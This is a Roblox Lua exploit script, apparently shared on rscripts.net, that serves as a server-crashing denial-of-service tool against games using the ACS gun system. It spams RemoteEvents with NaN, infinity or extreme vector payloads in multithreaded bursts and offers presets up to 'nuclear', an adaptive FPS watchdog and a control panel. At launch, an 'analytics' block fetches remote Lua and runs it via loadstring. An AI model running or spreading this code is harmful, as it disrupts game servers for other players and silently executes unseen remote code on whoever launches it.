-- [[ Rscripts Risk Notice ]] -- This script is not verified by rscripts.net. Deal with caution. -- -- Stay safe: -- • Never log in on unofficial Roblox sites or lookalike domains. -- • Real Roblox links use roblox.com (check the .com ending). -- • Treat fake Roblox login / "claim reward" pages as phishing. -- [[ End Rscripts Risk Notice ]] --[[rscripts:analytics:start]] -- Script analytics (enabled by the creator on rscripts.net). -- Runs in its own thread and cannot affect the script below. task.spawn(function() pcall(function() loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6adc5a07e3d4c3928f77c9be"))() end) end) --[[rscripts:analytics:end]] --=========================================================== -- SERVER KILLER | El Paso ACS Remote Spammer v3 -- -------------------------------------------------------- -- - GUI panel, does NOT start on inject -- - START / STOP button + RightShift hotkey -- - FPS watchdog: cuts burst automatically if your -- client starts choking (this is what crashed you) --=========================================================== local P = game:GetService("Players") local U = game:GetService("UserInputService") local T = game:GetService("TweenService") local RS = game:GetService("RunService") local SG = game:GetService("StarterGui") local Storage = game:GetService("ReplicatedStorage") local lp = P.LocalPlayer local CG = game:GetService("CoreGui") local PG = lp:WaitForChild("PlayerGui") for _, par in ipairs({CG, PG}) do for _, nm in ipairs({"ServerKiller", "SKErr"}) do local g = par:FindFirstChild(nm) if g then pcall(function() g:Destroy() end) end end end --============================ ACS ============================ local ACS = Storage:WaitForChild("ACS_MICTLAN", 15) local Events = ACS and ACS:WaitForChild("Events", 15) local NAN = Vector3.new(0/0, 0/0, 0/0) local FAR = Vector3.new(1e7, 1e7, 1e7) local ZERO = Vector3.new(0,0,0) local INF = math.huge local SENDERS = { nan = function(o,f,n) for _=1,n do f(o,NAN,NAN) end end, nan4 = function(o,f,n) for _=1,n do f(o,NAN,NAN,NAN,NAN) end end, inf = function(o,f,n) for _=1,n do f(o,INF,NAN,FAR,NAN) end end, far = function(o,f,n) for _=1,n do f(o,FAR,Vector3.new(0,-1,0)) end end, random = function(o,f,n) for _=1,n do f(o, Vector3.new(math.random(-999,999),math.random(-999,999),math.random(-999,999)), Vector3.new(math.random(),math.random(),math.random())) end end, real = function(o,f,n) local ch = lp.Character local hrp = ch and ch:FindFirstChild("HumanoidRootPart") local a = hrp and hrp.Position or ZERO local b = hrp and hrp.CFrame.LookVector or Vector3.new(0,0,-1) for _=1,n do f(o,a,b) end end, } --=========================== STATE =========================== local st = { running = false, preset = "heavy", threads = 2, burst = 50, maxBurst = 300, adaptive = true, fireAll = false, payload = "nan", } local DEF = { preset="heavy", threads=2, burst=50, maxBurst=300, adaptive=true, fireAll=false, payload="nan", } local PRESETS = { chill = {threads=1, burst=20, maxBurst=60, fireAll=false, payload="nan"}, heavy = {threads=2, burst=50, maxBurst=300, fireAll=false, payload="nan"}, insane = {threads=3, burst=120, maxBurst=800, fireAll=true, payload="nan"}, nuclear = {threads=4, burst=250, maxBurst=1500, fireAll=true, payload="inf"}, } local CALLS = {} local function buildRemotes() CALLS = {} if not Events then return end if st.fireAll then for _, d in ipairs(Events:GetDescendants()) do if d:IsA("RemoteEvent") then CALLS[#CALLS+1] = {o=d, f=d.FireServer} end end else local r = Events:FindFirstChild("ServerBullet", true) if r then CALLS[1] = {o=r, f=r.FireServer} end end end buildRemotes() --=========================== ENGINE ========================== local gen = 0 local burst = st.burst local calls = 0 local fps = 60 local function startEngine() if st.running then return end buildRemotes() if #CALLS == 0 then ST("no remotes found - is ACS loaded?", C.dn) return end st.running = true gen = gen + 1 local mygen = gen burst = st.burst calls = 0 for _ = 1, st.threads do task.spawn(function() while st.running and gen == mygen do local fn = SENDERS[st.payload] local b = burst local list = CALLS for i = 1, #list do local e = list[i] fn(e.o, e.f, b) end calls = calls + b * #list RS.Heartbeat:Wait() end end) end end local function stopEngine() if not st.running then return end st.running = false gen = gen + 1 end --======================= FPS WATCHDOG ======================== local acc, samples, slow = 0, 0, 0 RS.Heartbeat:Connect(function(dt) acc = acc + dt samples = samples + 1 if samples < 20 then return end local avg = acc / samples acc, samples = 0, 0 fps = 1 / math.max(avg, 1e-4) if st.running and st.adaptive then if avg > 0.030 then slow = slow + 1 if slow >= 2 then burst = math.max(5, math.floor(burst * 0.6)) slow = 0 end elseif avg > 0.020 then burst = math.max(5, math.floor(burst * 0.9)) elseif avg < 0.017 then burst = math.min(st.maxBurst, math.floor(burst * 1.12) + 1) end end end) --============================ GUI ============================ local function vp() local c = workspace.CurrentCamera if c and c.ViewportSize.X > 0 then return c.ViewportSize end return Vector2.new(1000,1700) end local V0 = vp() local SC = U.TouchEnabled and math.clamp(math.min(V0.X,V0.Y)/620,1,1.9) or 1 local function S(v) return math.floor(v*SC+.5) end local function n(c,p,q) local o=Instance.new(c) for k,v in pairs(p) do o[k]=v end o.Parent=q return o end local function tw(o,t,p) local a=T:Create(o,t,p) a:Play() return a end local function crn(o,r) return n("UICorner",{CornerRadius=UDim.new(0,S(r))},o) end local C = { bg=Color3.fromRGB(13,14,18), pn=Color3.fromRGB(21,23,30), rw=Color3.fromRGB(28,31,40), rwH=Color3.fromRGB(36,40,52), ac=Color3.fromRGB(88,160,255), ad=Color3.fromRGB(28,58,104), tx=Color3.fromRGB(238,241,248), mu=Color3.fromRGB(140,148,166), of=Color3.fromRGB(52,56,68), dn=Color3.fromRGB(232,96,96), gn=Color3.fromRGB(80,200,140), wh=Color3.new(1,1,1), wn=Color3.fromRGB(240,170,70)} local RD = {} local function refreshAll() for _,f in ipairs(RD) do pcall(f) end end local gui = n("ScreenGui",{Name="ServerKiller",ResetOnSpawn=false,IgnoreGuiInset=true,DisplayOrder=2147483646,ZIndexBehavior=Enum.ZIndexBehavior.Sibling},CG) local WW = math.min(S(330), math.floor(V0.X*.92)) local WH = math.min(S(560), math.floor(V0.Y*.82)) local HD = S(44) local Y0 = math.max(S(50), math.floor(V0.Y*.05)) local sh = n("Frame",{Size=UDim2.fromOffset(WW,WH),Position=UDim2.new(0,S(13),0,Y0+S(4)),BackgroundColor3=Color3.fromRGB(3,4,7),BackgroundTransparency=.45,BorderSizePixel=0},gui) crn(sh,14) local main = n("Frame",{Size=UDim2.fromOffset(WW,WH),Position=UDim2.new(0,S(10),0,Y0),BackgroundColor3=C.bg,BorderSizePixel=0,ClipsDescendants=true},gui) crn(main,14) n("UIStroke",{Color=Color3.fromRGB(44,48,60),Thickness=S(1.4)},main) local bar = n("Frame",{Size=UDim2.new(1,0,0,HD),BackgroundColor3=C.pn,BorderSizePixel=0,Active=true},main) n("UIGradient",{Color=ColorSequence.new(Color3.fromRGB(32,38,56),Color3.fromRGB(19,21,28)),Rotation=90},bar) local dot = n("Frame",{Size=UDim2.fromOffset(S(8),S(8)),Position=UDim2.new(0,S(14),0,S(10)),BackgroundColor3=C.mu,BorderSizePixel=0},bar) crn(dot,4) n("TextLabel",{Size=UDim2.new(1,-S(92),0,S(18)),Position=UDim2.new(0,S(30),0,S(6)),BackgroundTransparency=1,Font=Enum.Font.GothamBold,TextSize=S(14),TextColor3=C.tx,TextXAlignment=Enum.TextXAlignment.Left,Text="SERVER KILLER"},bar) local pill = n("Frame",{Size=UDim2.fromOffset(S(160),S(18)),Position=UDim2.new(0,S(30),0,S(24)),BackgroundColor3=C.rw,BorderSizePixel=0},pill or bar) crn(pill,9) local pillLbl = n("TextLabel",{Size=UDim2.new(1,-S(14),1,0),Position=UDim2.new(0,S(8),0,0),BackgroundTransparency=1,Font=Enum.Font.Gotham,TextSize=S(10),TextColor3=C.mu,TextXAlignment=Enum.TextXAlignment.Left,Text="idle"},pill) local BT = S(28) local minB = n("TextButton",{Size=UDim2.fromOffset(BT,BT),Position=UDim2.new(1,-(BT*2+S(10)),.5,-BT/2),BackgroundTransparency=1,Font=Enum.Font.GothamBold,TextSize=S(16),TextColor3=C.mu,Text="-",AutoButtonColor=false},bar) local clB = n("TextButton",{Size=UDim2.fromOffset(BT,BT),Position=UDim2.new(1,-(BT+S(4)),.5,-BT/2),BackgroundTransparency=1,Font=Enum.Font.GothamBold,TextSize=S(15),TextColor3=C.mu,Text="x",AutoButtonColor=false},bar) -- START / STOP local startB = n("TextButton",{Size=UDim2.new(1,-S(20),0,S(42)),Position=UDim2.new(0,S(10),0,HD+S(8)),BackgroundColor3=C.gn,AutoButtonColor=false,Font=Enum.Font.GothamBold,TextSize=S(15),TextColor3=Color3.fromRGB(10,20,14),Text="START"},main) crn(startB,10) local hudLbl = n("TextLabel",{Size=UDim2.new(1,-S(20),0,S(16)),Position=UDim2.new(0,S(10),0,HD+S(8)+S(42)+S(6)),BackgroundTransparency=1,Font=Enum.Font.Code,TextSize=S(11),TextColor3=C.mu,TextXAlignment=Enum.TextXAlignment.Left,Text="fps -- burst -- calls/s --"},main) local scY = HD+S(8)+S(42)+S(6)+S(16)+S(6) local sc = n("ScrollingFrame",{Size=UDim2.new(1,-S(20),1,-(scY+S(34)+S(20))),Position=UDim2.new(0,S(10),0,scY),BackgroundTransparency=1,BorderSizePixel=0,ScrollBarThickness=S(4),ScrollBarImageColor3=C.of,CanvasSize=UDim2.new(0,0,0,0),AutomaticCanvasSize=Enum.AutomaticSize.Y},main) n("UIListLayout",{Padding=UDim.new(0,S(8)),SortOrder=Enum.SortOrder.LayoutOrder},sc) local ft = n("Frame",{Size=UDim2.new(1,-S(20),0,S(28)),Position=UDim2.new(0,S(10),1,-(S(28)+S(20))),BackgroundTransparency=1},main) n("UIListLayout",{FillDirection=Enum.FillDirection.Horizontal,Padding=UDim.new(0,S(6))},ft) local panicB = n("TextButton",{Size=UDim2.new(.5,-S(3),1,0),BackgroundColor3=C.dn,AutoButtonColor=false,Font=Enum.Font.GothamBold,TextSize=S(11),TextColor3=C.wh,Text="PANIC STOP"},ft) crn(panicB,9) local resetB = n("TextButton",{Size=UDim2.new(.5,-S(3),1,0),BackgroundColor3=C.rw,AutoButtonColor=false,Font=Enum.Font.GothamBold,TextSize=S(11),TextColor3=C.tx,Text="Reset"},ft) crn(resetB,9) local stL = n("TextLabel",{Size=UDim2.new(1,-S(20),0,S(14)),Position=UDim2.new(0,S(10),1,-S(16)),BackgroundTransparency=1,Font=Enum.Font.Gotham,TextSize=S(10),TextColor3=C.mu,TextXAlignment=Enum.TextXAlignment.Left,Text="press START when ready"},main) local function ST(t,c) stL.Text=t stL.TextColor3=c or C.mu end local function sec(t) local s = n("Frame",{Size=UDim2.new(1,0,0,0),AutomaticSize=Enum.AutomaticSize.Y,BackgroundTransparency=1},sc) n("UIListLayout",{Padding=UDim.new(0,S(6)),SortOrder=Enum.SortOrder.LayoutOrder},s) n("TextLabel",{Size=UDim2.new(1,0,0,S(15)),BackgroundTransparency=1,Font=Enum.Font.GothamBold,TextSize=S(10),TextColor3=C.mu,TextXAlignment=Enum.TextXAlignment.Left,Text=string.upper(t)},s) return s end local function tog(par,lab,key,desc) local r = n("TextButton",{Size=UDim2.new(1,0,0,S(desc and 48 or 38)),BackgroundColor3=C.rw,AutoButtonColor=false,Text=""},par) crn(r,10) local lb = n("TextLabel",{Size=UDim2.new(1,-S(74),1,0),Position=UDim2.new(0,S(12),0,0),BackgroundTransparency=1,Font=Enum.Font.GothamMedium,TextSize=S(12),TextColor3=C.tx,TextXAlignment=Enum.TextXAlignment.Left,Text=lab},r) if desc then lb.Size=UDim2.new(1,-S(74),0,S(17)) lb.Position=UDim2.new(0,S(12),0,S(7)) n("TextLabel",{Size=UDim2.new(1,-S(74),0,S(13)),Position=UDim2.new(0,S(12),0,S(25)),BackgroundTransparency=1,Font=Enum.Font.Gotham,TextSize=S(9),TextColor3=C.mu,TextXAlignment=Enum.TextXAlignment.Left,Text=desc},r) end local sw = n("Frame",{Size=UDim2.fromOffset(S(42),S(23)),Position=UDim2.new(1,-S(12),.5,0),AnchorPoint=Vector2.new(1,.5),BackgroundColor3=C.of},r) crn(sw,12) local kn = n("Frame",{Size=UDim2.fromOffset(S(16),S(16)),Position=UDim2.new(0,S(3.5),.5,-S(8)),BackgroundColor3=C.wh},sw) crn(kn,8) local function pt() local on = st[key] tw(sw,TweenInfo.new(.12),{BackgroundColor3=on and C.ac or C.of}) tw(kn,TweenInfo.new(.12),{Position=on and UDim2.new(1,-S(19.5),.5,-S(8)) or UDim2.new(0,S(3.5),.5,-S(8))}) lb.TextColor3 = on and C.ac or C.tx r.BackgroundColor3 = on and C.ad or C.rw end r.MouseButton1Click:Connect(function() st[key]=not st[key] pt() end) RD[#RD+1]=pt pt() return r end local function grid(par,lab,op,key,perRow) perRow = perRow or #op local b = n("Frame",{Size=UDim2.new(1,0,0,0),AutomaticSize=Enum.AutomaticSize.Y,BackgroundTransparency=1},par) n("UIListLayout",{Padding=UDim.new(0,S(4))},b) n("TextLabel",{Size=UDim2.new(1,0,0,S(14)),BackgroundTransparency=1,Font=Enum.Font.Gotham,TextSize=S(10),TextColor3=C.mu,TextXAlignment=Enum.TextXAlignment.Left,Text=lab},b) local btns = {} local function rp() for _,x in ipairs(btns) do x() end end for i = 1, #op, perRow do local cnt = math.min(perRow, #op - i + 1) local row = n("Frame",{Size=UDim2.new(1,0,0,S(28)),BackgroundTransparency=1},b) n("UIListLayout",{FillDirection=Enum.FillDirection.Horizontal,Padding=UDim.new(0,S(4))},row) for j = i, i+cnt-1 do local o = op[j] local bt = n("TextButton",{Size=UDim2.new(1/cnt,-((cnt-1)*S(4))/cnt,1,0),BackgroundColor3=C.rw,AutoButtonColor=false,Font=Enum.Font.GothamBold,TextSize=S(10),TextColor3=C.mu,Text=o.l},row) crn(bt,8) btns[#btns+1] = function() local on = st[key]==o.v bt.BackgroundColor3 = on and C.ac or C.rw bt.TextColor3 = on and C.wh or C.mu end bt.MouseButton1Click:Connect(function() st[key]=o.v rp() end) end end RD[#RD+1]=rp rp() end local function slider(par,lab,key,mn,mx,step) local row = n("Frame",{Size=UDim2.new(1,0,0,0),AutomaticSize=Enum.AutomaticSize.Y,BackgroundTransparency=1},par) n("UIListLayout",{Padding=UDim.new(0,S(3))},row) local top = n("Frame",{Size=UDim2.new(1,0,0,S(14)),BackgroundTransparency=1},row) n("TextLabel",{Size=UDim2.new(1,-S(50),1,0),BackgroundTransparency=1,Font=Enum.Font.Gotham,TextSize=S(10),TextColor3=C.mu,TextXAlignment=Enum.TextXAlignment.Left,Text=lab},top) local val = n("TextLabel",{Size=UDim2.new(0,S(50),1,0),Position=UDim2.new(1,-S(50),0,0),BackgroundTransparency=1,Font=Enum.Font.Code,TextSize=S(10),TextColor3=C.ac,TextXAlignment=Enum.TextXAlignment.Right,Text=""},top) local mid = n("Frame",{Size=UDim2.new(1,0,0,S(24)),BackgroundTransparency=1},row) n("UIListLayout",{FillDirection=Enum.FillDirection.Horizontal,Padding=UDim.new(0,S(4)),VerticalAlignment=Enum.VerticalAlignment.Center},mid) local mB = n("TextButton",{Size=UDim2.fromOffset(S(24),S(24)),BackgroundColor3=C.rw,AutoButtonColor=false,Font=Enum.Font.GothamBold,TextSize=S(14),TextColor3=C.tx,Text="-"},mid) crn(mB,7) local track = n("TextButton",{Size=UDim2.new(1,-S(56),1,0),BackgroundColor3=C.rw,AutoButtonColor=false,Text=""},mid) crn(track,7) local fill = n("Frame",{Size=UDim2.new(0,0,1,0),BackgroundColor3=C.ac,BorderSizePixel=0},track) crn(fill,7) local pB = n("TextButton",{Size=UDim2.fromOffset(S(24),S(24)),BackgroundColor3=C.rw,AutoButtonColor=false,Font=Enum.Font.GothamBold,TextSize=S(14),TextColor3=C.tx,Text="+"},mid) crn(pB,7) local function show() local v = st[key] fill.Size = UDim2.new(math.clamp((v-mn)/math.max(mx-mn,1e-9),0,1),0,1,0) val.Text = tostring(math.floor(v+.5)) end local function set(v) v = math.clamp(v,mn,mx) v = mn + math.floor((v-mn)/step+.5)*step st[key] = math.clamp(v,mn,mx) show() end mB.MouseButton1Click:Connect(function() set(st[key]-step) end) pB.MouseButton1Click:Connect(function() set(st[key]+step) end) track.InputBegan:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then local x = (i.Position.X - track.AbsolutePosition.X)/math.max(track.AbsoluteSize.X,1) set(mn + (mx-mn)*math.clamp(x,0,1)) end end) RD[#RD+1]=show show() end --========================== PANEL ============================ local pSec = sec("Preset") grid(pSec,"Starting point - pick one, then hit START", {{l="chill",v="chill"},{l="heavy",v="heavy"},{l="insane",v="insane"},{l="nuclear",v="nuclear"}},"preset",4) local iSec = sec("Intensity") slider(iSec,"Sender threads","threads",1,8,1) slider(iSec,"Burst per thread","burst",5,500,5) slider(iSec,"Auto ceiling","maxBurst",50,2000,50) tog(iSec,"FPS watchdog","adaptive","Cuts burst if your client chokes") local rSec = sec("Remotes") tog(rSec,"Fire ALL ACS remotes","fireAll","Off = only ServerBullet") local remLbl = n("TextLabel",{Size=UDim2.new(1,0,0,0),AutomaticSize=Enum.AutomaticSize.Y,BackgroundTransparency=1,Font=Enum.Font.Code,TextSize=S(9),TextColor3=C.mu,TextXAlignment=Enum.TextXAlignment.Left,TextWrapped=true,Text=""},rSec) local ySec = sec("Payload") grid(ySec,"What gets sent",{ {l="nan",v="nan"},{l="nan4",v="nan4"},{l="inf",v="inf"}, {l="far",v="far"},{l="random",v="random"},{l="real",v="real"}},"payload",3) local nSec = sec("Notes") n("TextLabel",{Size=UDim2.new(1,0,0,0),AutomaticSize=Enum.AutomaticSize.Y,BackgroundTransparency=1,Font=Enum.Font.Gotham,TextSize=S(9),TextColor3=C.mu,TextXAlignment=Enum.TextXAlignment.Left,TextWrapped=true, Text="nan = bullets never despawn (classic)\ninf = math.huge, breaks number args\nreal = normal muzzle, lets you shoot too\n\nALL remotes on = your own gun will spaz out.\n\nRightShift = start / stop"},nSec) --========================== WIRING =========================== local function applyPreset(name) local p = PRESETS[name] if not p then return end st.preset = name st.threads = p.threads st.burst = p.burst st.maxBurst = p.maxBurst st.fireAll = p.fireAll st.payload = p.payload buildRemotes() refreshAll() ST("preset: "..name,C.ac) end local function paint() local list = {} for _,e in ipairs(CALLS) do list[#list+1] = e.o.Name end remLbl.Text = ("%d remote(s): %s"):format(#CALLS, #list>0 and table.concat(list,", ") or "none") if st.running then startB.Text = "STOP" startB.BackgroundColor3 = C.dn startB.TextColor3 = C.wh dot.BackgroundColor3 = C.gn pillLbl.Text = ("RUNNING | %s | %s"):format(st.preset, st.payload) pillLbl.TextColor3 = C.gn else startB.Text = "START" startB.BackgroundColor3 = C.gn startB.TextColor3 = Color3.fromRGB(10,20,14) dot.BackgroundColor3 = C.mu pillLbl.Text = ("idle | %s"):format(st.preset) pillLbl.TextColor3 = C.mu end end startB.MouseButton1Click:Connect(function() if st.running then stopEngine() else startEngine() end paint() ST(st.running and "bombing - RightShift to stop" or "stopped", st.running and C.gn or C.mu) end) panicB.MouseButton1Click:Connect(function() stopEngine() burst = st.burst paint() ST("PANIC STOP - burst reset", C.dn) pcall(function() SG:SetCore("SendNotification",{Title="Server Killer",Text="Stopped",Duration=2}) end) end) resetB.MouseButton1Click:Connect(function() stopEngine() for k,v in pairs(DEF) do st[k]=v end burst = st.burst buildRemotes() refreshAll() paint() ST("reset to defaults", C.mu) end) local lastPreset = st.preset gridPresetHook = function() end -- preset buttons apply values (hook into grid via polling) task.spawn(function() while true do task.wait(.1) if st.preset ~= lastPreset then lastPreset = st.preset local p = PRESETS[st.preset] if p then st.threads=p.threads st.burst=p.burst st.maxBurst=p.maxBurst st.fireAll=p.fireAll st.payload=p.payload buildRemotes() refreshAll() paint() ST("preset: "..st.preset, C.ac) end end end end) -- hotkey U.InputBegan:Connect(function(i,g) if g then return end if i.KeyCode == Enum.KeyCode.RightShift then if st.running then stopEngine() else startEngine() end paint() ST(st.running and "bombing - RightShift to stop" or "stopped", st.running and C.gn or C.mu) end end) -- drag local function cp(f,x,y) local v = vp() local s = f.AbsoluteSize return math.clamp(x,0,math.max(0,v.X-s.X)), math.clamp(y,0,math.max(0,v.Y-s.Y)) end local function drag(f) local dr,si,so f.InputBegan:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then dr=true si=i.Position so=Vector2.new(f.AbsolutePosition.X,f.AbsolutePosition.Y) end end) f.InputEnded:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then dr=false end end) U.InputChanged:Connect(function(i) if not dr then return end if i.UserInputType~=Enum.UserInputType.MouseMovement and i.UserInputType~=Enum.UserInputType.Touch then return end local d = i.Position - si local x,y = cp(f, so.X+d.X, so.Y+d.Y) f.Position = UDim2.new(0,x,0,y) if f==main then sh.Position = UDim2.new(0,x+S(3),0,y+S(4)) end end) end drag(bar) local FS = S(50) local fab = n("TextButton",{Size=UDim2.fromOffset(FS,FS),Position=UDim2.new(1,-(FS+S(14)),.5,0),BackgroundColor3=C.ac,BackgroundTransparency=.12,Font=Enum.Font.GothamBold,TextSize=S(20),Text="K",TextColor3=C.wh,AutoButtonColor=false},gui) crn(fab,25) n("UIStroke",{Color=C.wh,Transparency=.55,Thickness=S(2)},fab) local fm=false drag(fab) fab.MouseButton1Click:Connect(function() main.Visible = not main.Visible sh.Visible = main.Visible end) local mini = false minB.MouseButton1Click:Connect(function() mini = not mini sc.Visible = not mini ft.Visible = not mini stL.Visible = not mini tw(main,TweenInfo.new(.15),{Size = mini and UDim2.fromOffset(WW,HD) or UDim2.fromOffset(WW,WH)}) tw(sh,TweenInfo.new(.15),{Size = mini and UDim2.fromOffset(WW,HD) or UDim2.fromOffset(WW,WH)}) minB.Text = mini and "+" or "-" end) clB.MouseButton1Click:Connect(function() main.Visible=false sh.Visible=false ST("hidden - press K",C.mu) end) --=========================== HUD ============================= task.spawn(function() while true do task.wait(1) local cps = calls calls = 0 local col = fps < 30 and C.dn or (fps < 50 and C.wn or C.mu) hudLbl.Text = ("fps %d burst %d calls/s %d x%d"):format(math.floor(fps), burst, cps, st.threads) hudLbl.TextColor3 = col end end) --=========================== INIT ============================ if not Events then ST("ACS_MICTLAN not found - GUI still works", C.dn) else ST(("%d remote(s) found - press START"):format(#CALLS), C.mu) end paint() pcall(function() SG:SetCore("SendNotification",{Title="Server Killer",Text="Ready - press START",Duration=4}) end) print("[SK] v3 ready - nothing started yet")